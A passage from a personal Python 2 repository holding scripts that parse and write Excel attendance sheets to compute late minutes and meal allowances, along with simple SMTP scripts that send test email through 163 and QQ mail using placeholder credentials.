1)] 41 | for a,b in zip(z,x): 42 | sheet1.write(b, 0, a) 43 | book.save('simple.xls') 44 | 45 | def create_message(message): 46 | pass 47 | 48 | 49 | day = get_month_day(9, 2018) 50 | create_column(day=int(day)) 51 | name_list = create_work.return_name() 52 | create_name(name_list) 53 | -------------------------------------------------------------------------------- /Work_project/EXCEL/New_create_excel/create_work.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | ''' 6 | 先拿到数据,再清洗数据,最后再计算数据,计算完毕之后挨个写入。 7 | ''' 8 | import xlrd 9 | import xlutils.copy 10 | import re 11 | import sys 12 | reload(sys) 13 | sys.setdefaultencoding("utf-8") 14 | 15 | Excel = xlrd.open_workbook("../../Example_by_work/1.xlsx") 16 | 17 | table_name = [] 18 | for i in Excel.sheet_names(): 19 | if u"考勤明细-1" in i: 20 | table_name.append(i) 21 | 22 | sheet = Excel.sheet_by_name(table_name[0]) 23 | ws = xlutils.copy.copy(Excel) 24 | 25 | # dic = {} 26 | # c = [] 27 | # for i in range(1,53): 28 | # a = sheet.row_values(i)[0:35] 29 | # if u'无效' in a[6] or u'重复' in a[6]: 30 | # continue 31 | # else: 32 | # print a[0], a[2], a[3], a[4], a[5], a[6] 33 | 34 | def get_name_list(ncrow): 35 | name = sheet.row_values(ncrow)[0:35][3] 36 | return name 37 | 38 | def return_name(): 39 | name_list = [] 40 | for i in range(2,sheet.nrows): 41 | name_list.append(get_name_list(i)) 42 | 43 | a = set(name_list) 44 | return a 45 | 46 | return_name() 47 | # for i in range(sheet.nrows): 48 | # a = sheet.row_values(i)[0:35] 49 | # # if 50 | # print [a[0], a[2], a[3], a[4], a[5], a[6]] -------------------------------------------------------------------------------- /Work_project/EXCEL/New_create_excel/test_work.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | from operator import itemgetter #itemgetter用来去dict中的key,省去了使用lambda函数 6 | from itertools import groupby #itertool还包含有其他很多函数,比如将多个list联合起来。。 7 | d1={'name':'zhangsan','age':20,'country':'China'} 8 | d2={'name':'wangwu','age':19,'country':'USA'} 9 | d3={'name':'lisi','age':22,'country':'JP'} 10 | d4={'name':'zhaoliu','age':22,'country':'USA'} 11 | d5={'name':'pengqi','age':22,'country':'USA'} 12 | d6={'name':'lijiu','age':22,'country':'China'} 13 | lst=[d1,d2,d3,d4,d5,d6] 14 | 15 | #通过country进行分组: 16 | 17 | lst.sort(key=itemgetter('country')) #需要先排序,然后才能groupby。lst排序后自身被改变 18 | lstg = groupby(lst,itemgetter('country')) 19 | #lstg = groupby(lst,key=lambda x:x['country']) 等同于使用itemgetter() 20 | 21 | 22 | for key,group in lstg: 23 | for g in group: #group是一个迭代器,包含了所有的分组列表 24 | print key,g -------------------------------------------------------------------------------- /Work_project/EXCEL/Read_excel.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | 6 | import xlrd 7 | 8 | Excel = xlrd.open_workbook("../Example_by_work/2.xlsx") 9 | table_name = Excel.sheet_names() 10 | one_table = table_name[0] 11 | print one_table 12 | 13 | 14 | sheet = Excel.sheet_by_name(one_table) 15 | # #打印sheet的名称,行数,列数 16 | # print sheet.name,sheet.nrows,sheet.ncols 17 | # 18 | # #获取整行或者整列的数据 19 | print sheet.row_values(3) 20 | # print sheet.col_values(4) 21 | # 22 | # 23 | # #获取单元格内容 24 | # print sheet.cell(1,0).value.encode('utf-8') 25 | # print sheet.cell_value(1,0).encode('utf-8') 26 | # print sheet.row(1)[0].value.encode('utf-8') -------------------------------------------------------------------------------- /Work_project/EXCEL/Test_work_excel/create_ncrow.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | ''' 6 | 先拿到数据,再清洗数据,最后再计算数据,计算完毕之后挨个写入。 7 | ''' 8 | import operator 9 | import xlrd 10 | import xlutils.copy 11 | import re 12 | import sys 13 | reload(sys) 14 | sys.setdefaultencoding("utf-8") 15 | 16 | Excel = xlrd.open_workbook("../../Example_by_work/1.xlsx") 17 | 18 | table_name = [] 19 | for i in Excel.sheet_names(): 20 | if u"名单" in i: 21 | table_name.append(i) 22 | 23 | sheet = Excel.sheet_by_name(table_name[0]) 24 | ws = xlutils.copy.copy(Excel) 25 | 26 | def get_name_list(ncrow): 27 | 28 | dic = {} 29 | name = sheet.row_values(ncrow)[0:35][3] 30 | id = sheet.row_values(ncrow)[0:35][1] 31 | dic[int(id)] = name 32 | return dic 33 | 34 | def return_name(): 35 | name_list = [] 36 | for i in range(2,sheet.nrows): 37 | name_list.append(get_name_list(i)) 38 | 39 | name_id = [{value: key} for key, value in dict([d.items()[0] for d in name_list]).items()] 40 | 41 | return name_id 42 | # 43 | # return_name() 44 | 45 | 46 | # def return_id(): 47 | # id_list = [] 48 | # for i in range(2, sheet.nrows): 49 | # id_list.append(get_id_list(i)) 50 | # 51 | # # print(id_list) 52 | # 53 | # a = set(id_list) 54 | # return a 55 | 56 | -------------------------------------------------------------------------------- /Work_project/EXCEL/Test_work_excel/read_xls.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import xlrd 5 | import xlwt 6 | 7 | # data = {'date': u'1', 8 | # 'tk_message': u'\u9910\u886540', 9 | # 'id': u'78', 10 | # 'name': u'\u51af\u5434\u5ca9'} 11 | 12 | Excel = xlrd.open_workbook("./simple.xls") 13 | sheet = Excel.sheet_by_name('data') 14 | row = sheet.row_values(0) 15 | col = sheet.col_values(0) 16 | 17 | 18 | 19 | 20 | haha = [] 21 | for z,i in zip(range(0,len(col)),col): 22 | haha.append((z, i)) 23 | 24 | dic = [] 25 | for z, i in zip(range(0, len(row)), row): 26 | dic.append((z, i)) 27 | 28 | def get_row(data): 29 | for c in dic: 30 | try: 31 | if data["date"] == c[1]: 32 | row = c[0] 33 | return row 34 | else: 35 | continue 36 | except: 37 | return 38 | 39 | def get_col(data): 40 | for h in haha: 41 | try: 42 | if data["id"] == h[1]: 43 | col = h[0] 44 | return col 45 | else: 46 | continue 47 | except: 48 | return 49 | 50 | 51 | -------------------------------------------------------------------------------- /Work_project/EXCEL/Write_excel.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | ''' 6 | 修改Excel数值,添加/删除/修改 7 | ''' 8 | 9 | import xlrd 10 | import xlutils.copy 11 | import re 12 | import res 13 | import sys 14 | reload(sys) 15 | sys.setdefaultencoding("utf-8") 16 | 17 | Excel = xlrd.open_workbook("1.xlsx") 18 | table_name = Excel.sheet_names() 19 | one_table = table_name[0] 20 | sheet = Excel.sheet_by_name(one_table) 21 | ws = xlutils.copy.copy(Excel) 22 | 23 | # print sheet.name,sheet.nrows,sheet.ncols 24 | 25 | 26 | 27 | def Calculator_money(nrows): 28 | dic = {} 29 | money = 0 30 | late_time = 0 31 | for z in sheet.row_values(nrows)[0:30]: 32 | if u"迟到" in z: 33 | later_times = re.compile(r'迟到\d+').findall(str(z))[0] 34 | times = re.compile(r'\d+').findall(str(later_times))[0] 35 | # print times 36 | late_time = late_time + int(times) 37 | if u"餐补40" in z: 38 | money = money + 40 39 | elif u"餐补20" in z: 40 | money = money + 20 41 | elif u"餐补40" in z: 42 | money = money + 40 43 | elif u"餐补20" in z: 44 | money = money + 20 45 | 46 | last_money = money - late_time 47 | dic["name"] = sheet.row_values(nrows)[0:3][0] 48 | dic["money"] = last_money 49 | dic["later"] = late_time 50 | return dic 51 | 52 | 53 | 54 | name = [] 55 | id = [] 56 | money = [] 57 | later = [] 58 | for i in range(3,sheet.nrows): 59 | message = Calculator_money(i) 60 | name.append(message["name"]) 61 | money.append(message["money"]) 62 | later.append(message["later"]) 63 | 64 | 65 | res.write_name_excel(*name) 66 | # res.write_id_excel(*id) 67 | res.write_time_excel(*later) 68 | res.write_money_excel(*money) 69 | # 70 | res.save_excel_data() 71 | 72 | -------------------------------------------------------------------------------- /Work_project/EXCEL/res.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | 6 | import xlwt 7 | 8 | workbook = xlwt.Workbook(encoding = 'ascii') 9 | 10 | worksheet = workbook.add_sheet('My Worksheet',cell_overwrite_ok=True) 11 | 12 | # def craete_table(): 13 | # 14 | # a = [u'考勤号',u'姓名',u'迟到早退',u'餐补'] 15 | # 16 | # for i in range(0, len(a)): 17 | # worksheet.write(0, i, a[i]) 18 | 19 | def write_name_excel(*name): 20 | for i in range(0, len(name)): 21 | worksheet.write(i, 0, name[i]) 22 | 23 | # def write_id_excel(*id): 24 | # for i in range(0, len(id)): 25 | # worksheet.write(i, 0, id[i]) 26 | 27 | def write_time_excel(*times): 28 | for i in range(0, len(times)): 29 | worksheet.write(i, 1, times[i]) 30 | 31 | def write_money_excel(*money): 32 | for i in range(0, len(money)): 33 | worksheet.write(i, 2, money[i]) 34 | 35 | def save_excel_data(): 36 | workbook.save('Excel_Workbook.xls') 37 | -------------------------------------------------------------------------------- /Work_project/EXCEL/work/res.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | 6 | import xlwt 7 | 8 | workbook = xlwt.Workbook(encoding = 'ascii') 9 | 10 | worksheet = workbook.add_sheet('My Worksheet',cell_overwrite_ok=True) 11 | 12 | 13 | def write_name_excel(*name): 14 | for i in range(0, len(name)): 15 | worksheet.write(i, 0, name[i]) 16 | 17 | 18 | def write_time_excel(*times): 19 | for i in range(0, len(times)): 20 | worksheet.write(i, 1, times[i]) 21 | 22 | def write_money_excel(*money): 23 | for i in range(0, len(money)): 24 | worksheet.write(i, 2, money[i]) 25 | 26 | def save_excel_data(): 27 | workbook.save('Excel_Workbook.xls') 28 | -------------------------------------------------------------------------------- /Work_project/Email-work/Smtp-163.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import smtplib 5 | 6 | from email.mime.text import MIMEText 7 | 8 | from email.header import Header 9 | 10 | 11 | 12 | sender = 'xxxxxxxxxx@163.com' 13 | 14 | receivers = ['xxxxxxxxx@qq.com'] # 接收邮件,可设置为你的QQ邮箱或者其他邮箱 15 | 16 | 17 | 18 | # 三个参数:第一个为文本内容,第二个 plain 设置文本格式,第三个 utf-8 设置编码 19 | 20 | message = MIMEText('test.in', 'plain', 'utf-8') 21 | 22 | 23 | subject = '抢注域名' 24 | 25 | message['Subject'] = Header(subject, 'utf-8') 26 | 27 | 28 | smtp = smtplib.SMTP() 29 | 30 | smtp.connect("smtp.163.com",25) # 25 为 SMTP 端口号 31 | 32 | smtp.login("xxxxxxxxxxx@163.com","password") 33 | 34 | smtp.sendmail(sender, receivers, message.as_string()) 35 | 36 | smtp.quit() 37 | 38 | print ("邮件发送成功") -------------------------------------------------------------------------------- /Work_project/Email-work/Smtp-qq.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | from email.mime.text import MIMEText 5 | from email.header import Header 6 | from smtplib import SMTP_SSL 7 | 8 | 9 | #qq邮箱smtp服务器 10 | host_server = 'smtp.qq.com' 11 | #sender_qq为发件人的qq号码 12 | sender_qq = 'xxxxxx' 13 | #pwd为qq邮箱的授权码 14 | pwd = 'xxxxxxx' 15 | #发件人的邮箱 16 | sender_qq_mail = 'xxxxxxx@qq.com' 17 | #收件人邮箱 18 | receiver = 'xxxxxxx@163.com' 19 | #邮件的正文内容 20 | mail_content = '你好,xx,现在在进行Python测试' 21 | #邮件标题 22 | mail_title = 'xx的邮件' 23 | 24 | #ssl登录 25 | smtp = SMTP_SSL(host_server) 26 | #set_debuglevel()是用来调试的。参数值为1表示开启调试模式,参数值为0关闭调试模式 27 | smtp.set_debuglevel(1) 28 | smtp.ehlo(host_server) 29 | smtp.login(sender_qq, pwd) 30 | 31 | msg = MIMEText(mail_content, "plain", 'utf-8') 32 | msg["Subject"] = Header(mail_title, 'utf-8') 33 | msg["From"] = sender_qq_mail 34 | msg["To"] = receiver 35 | smtp.sendmail(sender_qq_mail, receiver, msg.as_string()) 36 | smtp.quit() -------------------------------------------------------------------------------- /Work_project/Work.md: -------------------------------------------------------------------------------- 1 | # Work_project 2 | ## Email-work 3 | 1. 发送Email的脚本,QQ,163 4 | ## EXCEL 5 | 1. 解析EXCEL的脚本 6 | ## Excel_GUI 7 | 1. GUI版本的解析EXCEL --------------------------------------------------------------------------------